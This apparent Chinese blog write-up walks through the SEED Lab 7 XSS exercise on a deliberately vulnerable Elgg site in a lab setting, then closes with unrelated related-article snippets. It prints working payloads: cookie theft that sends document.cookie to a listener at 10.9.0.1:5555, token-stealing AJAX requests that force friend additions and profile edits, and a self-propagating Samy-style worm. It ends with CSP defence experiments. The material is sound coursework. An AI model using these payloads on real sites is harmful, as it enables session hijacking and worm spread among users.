当前位置: 首页 > article >正文

SEED-Lab7 XSS攻击实验(Elgg)

SEED-Lab7 XSS攻击实验(Elgg)文章目录SEED-Lab7 XSS攻击实验(Elgg) 文章目录 实验环境 实验内容 实验步骤 DNS Setup Task 1: Posting a Malicious Message to Display an Alert Window Task 2: Posting a Malicious Message to Display Cookies Task 3: Stealing Cookies from the Victim’s Machine Task 4: Becoming the Victim’s Friend Task 5: Modifying the Victim’s Profile Task 6: Writing a Self-Propagating XSS Worm Task 7: Defeating XSS Attacks Using CSP 实验总结声明实验已经过去很久效果不能保证。写的时候有所借鉴感谢学长学姐大佬们公开的教程。图片有水印如果能根据我写的报告复现不胜荣幸。谢绝直接盗用图片抄袭实验环境Ubuntu 20.04实验内容跨站点脚本(XSS)是一种常见于web应用程序中的计算机安全漏洞。此漏洞使攻击者有可能将恶意代码如JavaScripts注入受害者的web浏览器。为了演示攻击者可以做什么我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的web应用程序。我们已经注释掉了Elgg的一些保护方法故意使其容易受到XSS攻击。学生们需要利用这些漏洞发动攻击就像Samy Kamkar在2005年通过臭名昭著的Samy蠕虫对MySpace所做的那样。此攻击的最终目标是在用户之间传播XSS蠕虫这样无论谁查看受感染的用户配置文件都会受到感染无论谁受感染都会将您即攻击者添加到他/她的好友列表中。实验步骤DNS Setup加载dockerdocker-compose builddocker-compose up配置/etc/hosts添加www.seed-server.com和一些测试网站的域名映射可以打开www.seed-server.com了Task 1: Posting a Malicious Message to Display an Alert Window以samy的身份登入网站修改samy的profile将攻击代码藏入简介中scriptalert(XSS);/script保存后就能看到弹窗返回主页也能看到攻击成功了Task 2: Posting a Malicious Message to Display Cookies修改samy中藏有的恶意代码使其弹窗中显示cookiescriptalert(document.cookie);/script保存后弹窗中显示cookieTask 3: Stealing Cookies from the Victim’s Machine开启一个终端监听5555端口将samy的profile中的恶意代码修改成scriptdocument.write(img srchttp://10.9.0.1:5555?cescape(document.cookie));/script保存后发现被拦截了监听端口输出cookieTask 4: Becoming the Victim’s Friendsamy添加一个好友使用wireshark查看一下http的请求是怎么构建的得到其中的url请求是http://www.seed-server.com/action/friends/add?friend58__elgg_ts1732696624__elgg_tokenxLbDvLGeMUw2G9wHHeMT5Q__elgg_ts1732696624__elgg_tokenxLbDvLGeMUw2G9wHHeMT5Q所以如果要加samy为好友其id为59则构造的url请求应该是http://www.seed-server.com/action/friends/add?friend59 ts token ts token所以构造的恶意代码为scripttypetext/javascriptwindow.onloadfunction(){varAjaxnull;varts__elgg_tselgg.security.token.__elgg_ts;vartoken__elgg_tokenelgg.security.token.__elgg_token;varsendurlhttp://www.seed-server.com/action/friends/add?friend59tstokentstoken;AjaxnewXMLHttpRequest();Ajax.open(GET,sendurl,true);Ajax.send();}/script修改samy profile中的恶意代码更换Alice的账号登录没有好友访问samy的主页然后发现就添加上了好友Task 5: Modifying the Victim’s Profile修改一下samy自己的profile抓包之后显示url请求为如下__elgg_tokenCL1-xOOBucqcKcYnoGR1Sg__elgg_ts1732702506nameSamydescriptionpThis is samy./paccesslevel[description]2briefdescriptionaccesslevel[briefdescription]2locationaccesslevel[location]2interestsaccesslevel[interests]2skillsaccesslevel[skills]2contactemailaccesslevel[contactemail]2phoneaccesslevel[phone]2mobileaccesslevel[mobile]2websiteaccesslevel[website]2twitteraccesslevel[twitter]2guid59所以得到了构造的恶意代码scripttypetext/javascriptwindow.onloadfunction(){varuserNamenameelgg.session.user.name;varguidguidelgg.session.user.guid;varts__elgg_tselgg.security.token.__elgg_ts;vartoken__elgg_tokenelgg.security.token.__elgg_token;varcontenttoken ts userName descriptionpThis is from samy./paccesslevel[description]2guid;varsamyGuid59;varsendurlhttp://www.seed-server.com/action/profile/edit;if(elgg.session.user.guid!samyGuid){varAjaxnull;Ajaxnew XMLHttpRequest();Ajax.open(POST, sendurl,true);Ajax.setRequestHeader(Content-Type,application/x-www-form-urlencoded);Ajax.send(content);}}/script修改samy的profile中的恶意代码如下alice登录后访问samy的主页也会修改before访问samy后攻击成功了Task 6: Writing a Self-Propagating XSS WormLink Approach使用之前搭建好的www.example32.com作为第三方服务器进入apache2中的配置文件插入www.example32.com的服务器名字在容器中的/var/www/csp文件夹中创建xssworm.js文件将上个task中js代码中的内容复制进来加上wormCode变量注意使用的域名访问www.example70.com/xssworm.js可以访问到js代码将samy中profile的恶意代码改成script typetext/javascriptsrchttp://www.example70.com/xssworm.js/script以boby的身份登录在没有点进samy主页之前点进之后而以charlie的身份访问boby也会被攻击before访问boby之后说明蠕虫攻击成功了DOM Approach将samy的profile中的恶意代码修改如下script typetext/javascriptidwormwindow.onloadfunction(){varheaderTagscript id\worm\ type\text/javascript\;varjsCodedocument.getElementById(worm).innerHTML;vartailTag/script;varwormCodeencodeURIComponent(headerTagjsCodetailTag);varuserNamenameelgg.session.user.name;varguidguidelgg.session.user.guid;varts__elgg_tselgg.security.token.__elgg_ts;vartoken__elgg_tokenelgg.security.token.__elgg_token;varcontenttokentsuserNamedescriptionThis is from samywormCodeaccesslevel[description]2guid;varsamyGuid59;varsendurlhttp://www.seed-server.com/action/profile/edit;if(elgg.session.user.guid!samyGuid){varAjaxnull;AjaxnewXMLHttpRequest();Ajax.open(POST,sendurl,true);Ajax.setRequestHeader(Content-Type,application/x-www-form-urlencoded);Ajax.send(content);}}/scriptalice的简介清除之后访问samy主页攻击成功boby的简介清除之后访问alice主页也可以攻击成功说明蠕虫攻击再次实现了Task 7: Defeating XSS Attacks Using CSP原始状态www.example32a.com: 全都OK弹窗也可执行www.example32b.com: 4 6 OK1 2 3 5 7 Failed弹窗不可执行www.example32c.com: 1 4 6 OK2 3 5 7 Failed弹窗不可执行修改/etc/apache2/sites-available/apache_csp.conf将www.example32b.com中的*.example60.com添加上去service apache2 restart重启apache后可以看到www.example32b.com的5 OK了说明csp将www.example60.com添加进白名单了修改var/www/csp/phpindex.php文件添加nonce-222-222-222 *.example60.comservice apache2 restart重启apache后可以看到www.example32c.com的5 OK了说明csp将www.example60.com和nonce-222-222-222添加进白名单了由此可见csp为白名单制度将对应的站点添加进白名单后就能正确访问。实验总结删掉啦

相关文章:

SEED-Lab7 XSS攻击实验(Elgg)

SEED-Lab7 XSS攻击实验(Elgg) 文章目录 SEED-Lab7 XSS攻击实验(Elgg)文章目录实验环境实验内容实验步骤DNS SetupTask 1: Posting a Malicious Message to Display an Alert WindowTask 2: Posting a Malicious Message to Display CookiesTask 3: Stealing Cookies from the…...

Xtreme Download Manager终极指南:如何实现500%下载加速

Xtreme Download Manager终极指南:如何实现500%下载加速 【免费下载链接】xdm Powerfull download accelerator and video downloader 项目地址: https://gitcode.com/gh_mirrors/xd/xdm 你是否经常遇到下载速度缓慢、视频无法保存、大文件下载中断的困扰&am…...

百度网盘Mac版终极加速教程:三步告别限速,免费享受SVIP极速下载

百度网盘Mac版终极加速教程:三步告别限速,免费享受SVIP极速下载 【免费下载链接】BaiduNetdiskPlugin-macOS For macOS.百度网盘 破解SVIP、下载速度限制~ 项目地址: https://gitcode.com/gh_mirrors/ba/BaiduNetdiskPlugin-macOS 你是否曾经面对…...

Bebas Neue:现代几何字体的开源革命与专业应用指南

Bebas Neue:现代几何字体的开源革命与专业应用指南 【免费下载链接】Bebas-Neue Bebas Neue font 项目地址: https://gitcode.com/gh_mirrors/be/Bebas-Neue Bebas Neue 是一款备受全球设计师推崇的开源几何字体,以其简洁有力的线条和卓越的视觉冲…...

技术革新:FModel如何重塑游戏资源逆向工程与创作流程

技术革新:FModel如何重塑游戏资源逆向工程与创作流程 【免费下载链接】FModel Unreal Engine Archives Explorer 项目地址: https://gitcode.com/gh_mirrors/fm/FModel 在游戏开发与内容创作的生态系统中,资源逆向工程长期以来都是一项技术壁垒高…...

Excel MCP Server:革命性的无Excel数据处理引擎

Excel MCP Server:革命性的无Excel数据处理引擎 【免费下载链接】excel-mcp-server A Model Context Protocol server for Excel file manipulation 项目地址: https://gitcode.com/gh_mirrors/ex/excel-mcp-server 在数据处理领域,传统Excel依赖…...

3步快速上手OneMore:让你的OneNote效率翻倍的完整指南

3步快速上手OneMore:让你的OneNote效率翻倍的完整指南 【免费下载链接】OneMore A OneNote add-in with simple, yet powerful and useful features 项目地址: https://gitcode.com/gh_mirrors/on/OneMore OneMore是一款专为OneNote设计的免费增强插件&#…...

瑞芯微RV1126边缘AI开发套件实战:从模型部署到工业应用

1. 项目概述与核心价值最近几年,边缘计算和人工智能的结合,正在从实验室和云端大规模地走向我们身边的真实场景。无论是工厂里实时检测产品瑕疵的摄像头,还是社区里识别异常行为的安防设备,都离不开一个核心:一个能放在…...

Seraphine:基于LCU API的英雄联盟智能助手技术解析

Seraphine:基于LCU API的英雄联盟智能助手技术解析 【免费下载链接】Seraphine 英雄联盟战绩查询工具 项目地址: https://gitcode.com/gh_mirrors/se/Seraphine Seraphine是一款基于英雄联盟官方LCU API开发的智能游戏辅助工具,专为英雄联盟玩家提…...

嵌入式气体传感器模组选型、集成与工程实践全解析

1. 项目概述:从“感知”到“决策”的桥梁在工业自动化、环境监测乃至我们日常的智能家居设备里,气体传感器模组正扮演着越来越关键的角色。它不像一个独立的传感器探头那么简单,而是一个集成了传感元件、信号调理、数据处理甚至通讯接口的完整…...

高性能混合数据聚类算法:k-prototypes架构设计与性能优化深度解析

高性能混合数据聚类算法:k-prototypes架构设计与性能优化深度解析 【免费下载链接】kmodes Python implementations of the k-modes and k-prototypes clustering algorithms, for clustering categorical data 项目地址: https://gitcode.com/gh_mirrors/km/kmod…...

如何高效使用Gofile下载器:从单文件到批量下载的完整指南

如何高效使用Gofile下载器:从单文件到批量下载的完整指南 【免费下载链接】gofile-downloader Download files from https://gofile.io 项目地址: https://gitcode.com/gh_mirrors/go/gofile-downloader Gofile下载器是一款专门用于从Gofile.io平台下载文件的…...

如何利用Chanlun-Pro实现智能缠论量化交易:3步掌握市场结构识别

如何利用Chanlun-Pro实现智能缠论量化交易:3步掌握市场结构识别 【免费下载链接】chanlun-pro 基于缠中说禅所讲缠论理论,以便量化分析市场行情的工具 项目地址: https://gitcode.com/gh_mirrors/ch/chanlun-pro 在金融市场日益复杂的今天&#x…...

3个步骤掌握OBS多平台推流插件:告别重复操作,实现一键多平台直播同步

3个步骤掌握OBS多平台推流插件:告别重复操作,实现一键多平台直播同步 【免费下载链接】obs-multi-rtmp OBS複数サイト同時配信プラグイン 项目地址: https://gitcode.com/gh_mirrors/ob/obs-multi-rtmp OBS多平台推流插件(obs-multi-r…...

5个步骤掌握ScriptHookV:GTA V脚本开发终极指南

5个步骤掌握ScriptHookV:GTA V脚本开发终极指南 【免费下载链接】ScriptHookV An open source hook into GTAV for loading offline mods 项目地址: https://gitcode.com/gh_mirrors/sc/ScriptHookV 你是否曾梦想过为GTA V创造属于自己的游戏模组&#xff1f…...

5分钟掌握Windows字体清晰度优化:Better ClearType Tuner终极指南

5分钟掌握Windows字体清晰度优化:Better ClearType Tuner终极指南 【免费下载链接】BetterClearTypeTuner A better way to configure ClearType font smoothing on Windows 10. 项目地址: https://gitcode.com/gh_mirrors/be/BetterClearTypeTuner 还在为Wi…...

黑苹果终极简化方案:OpCore Simplify 让你的OpenCore配置变得前所未有的简单

黑苹果终极简化方案:OpCore Simplify 让你的OpenCore配置变得前所未有的简单 【免费下载链接】OpCore-Simplify A tool designed to simplify the creation of OpenCore EFI 项目地址: https://gitcode.com/GitHub_Trending/op/OpCore-Simplify 还在为复杂的…...

揭开网易游戏资源黑盒:3个步骤让你成为NPK解包专家

揭开网易游戏资源黑盒:3个步骤让你成为NPK解包专家 【免费下载链接】unnpk 解包网易游戏NeoX引擎NPK文件,如阴阳师、魔法禁书目录。 项目地址: https://gitcode.com/gh_mirrors/un/unnpk 想象一下,当你打开一个网易游戏的安装包&#…...

聚焦养老服务管理 以 AI 课堂革新实训教学模式

一、引言在养老产业数智化转型背景下,智慧健康养老服务与管理专业实训室建设需紧扣产业需求。AI 课堂作为教学数字化升级的核心载体,可有效破解传统实训教学与岗位需求脱节、高危场景难实操、教学评价不精准等痛点,为实训室建设提供实用可行的…...

如何用Easy Voice Toolkit轻松实现语音AI全流程:从识别到合成的完整指南

如何用Easy Voice Toolkit轻松实现语音AI全流程:从识别到合成的完整指南 【免费下载链接】Easy-Voice-Toolkit A user-friendly toolkit for voice recgonition/transcription/conversion etc. | 简单易用的语音工具箱 项目地址: https://gitcode.com/gh_mirrors/…...

对比按量计费与套餐计划在长期项目中的成本差异

🚀 告别海外账号与网络限制!稳定直连全球优质大模型,限时半价接入中。 👉 点击领取海量免费额度 对比按量计费与套餐计划在长期项目中的成本差异 在长期技术项目的规划中,成本管理是一个需要持续关注的环节。对于依赖…...

网易2026年Q1财报:游戏增长背后,AI、跨端与全球化面临哪些挑战?

网易发布2026年Q1财报5月21日,网易发布2026年第一季度财报。大体上,网易呈现出基本面企稳、公司效率提升以释放利润的态势。财报显示,网易Q1净收入306亿元,同比增长6.1%,Non - GAAP归母净利润为107亿元。游戏及相关增值…...

nginx升级(win和linux)

win升级 把html和conf搬过来,点击新的nginx即可 需要注册成服务参考: https://www.cnblogs.com/Code-Rain/p/16642572.htmlhttps://www.cnblogs.com/Code-Rain/p/16642572.html https://blog.csdn.net/hon_vin/article/details/133717846https://blog…...

朱雀广告平台:技术架构深度解析与高性能广告解决方案构建

朱雀广告平台:技术架构深度解析与高性能广告解决方案构建 【免费下载链接】zhuque 开放源码的一站式广告平台,包含ssp/adx/dsp/dmp模块 项目地址: https://gitcode.com/gh_mirrors/zhu/zhuque 在数字广告技术快速演进的今天,广告平台面…...

构建中文AI的未来:MNBVC超大规模语料库的深度解析与实践指南

构建中文AI的未来:MNBVC超大规模语料库的深度解析与实践指南 【免费下载链接】MNBVC MNBVC(Massive Never-ending BT Vast Chinese corpus)超大规模中文语料集。对标chatGPT训练的40T数据。MNBVC数据集不但包括主流文化,也包括各个小众文化甚至火星文的数…...

军队/军工场景对智能问数有什么特殊要求?

军队/军工场景对智能问数有什么特殊要求?从POC评测结果看技术路线的适配边界 截至2026年5月的行业实践表明,军队、军工场景是智能问数技术选型中复杂度最高、约束条件最多的领域之一。这类场景的核心特殊要求不在于某个单项能力,而在于系统能…...

【Flutter3.8x】flutter从入门到实战基础教程(一):新建一个flutter项目

初始化项目步骤 vscode中安装flutter插件ctrlshiftp弹出命令框点击flutter:new project系统会自动生成一个项目,其中会让选择一个文件夹存放源码,自行选择就行 启动安卓模拟器把文件定位在main.dart上,然后再点击这里如果启动失败&#xff0c…...

Desktop Postflop终极指南:免费开源德州扑克GTO求解器完整教程

Desktop Postflop终极指南:免费开源德州扑克GTO求解器完整教程 【免费下载链接】desktop-postflop [Development suspended] Advanced open-source Texas Holdem GTO solver with optimized performance 项目地址: https://gitcode.com/gh_mirrors/de/desktop-pos…...

跨平台媒体采集方案:智能资源获取工具实战指南

跨平台媒体采集方案:智能资源获取工具实战指南 【免费下载链接】res-downloader 视频号、小程序、抖音、快手、小红书、直播流、m3u8、酷狗、QQ音乐等常见网络资源下载! 项目地址: https://gitcode.com/GitHub_Trending/re/res-downloader 你是否曾经遇到过这…...

2026山东省数学建模D题思路分享(附源码,论文)

D题:基于多维指标因子分析的"苏超"球队竞争力评估 —— 解题思路 完整思路,代码,论文:https://docs.qq.com/doc/DUVJPa1R5YWhHaE9Y 一、问题概述 江苏省城市足球联赛(“苏超”)以"一城一主场"模式…...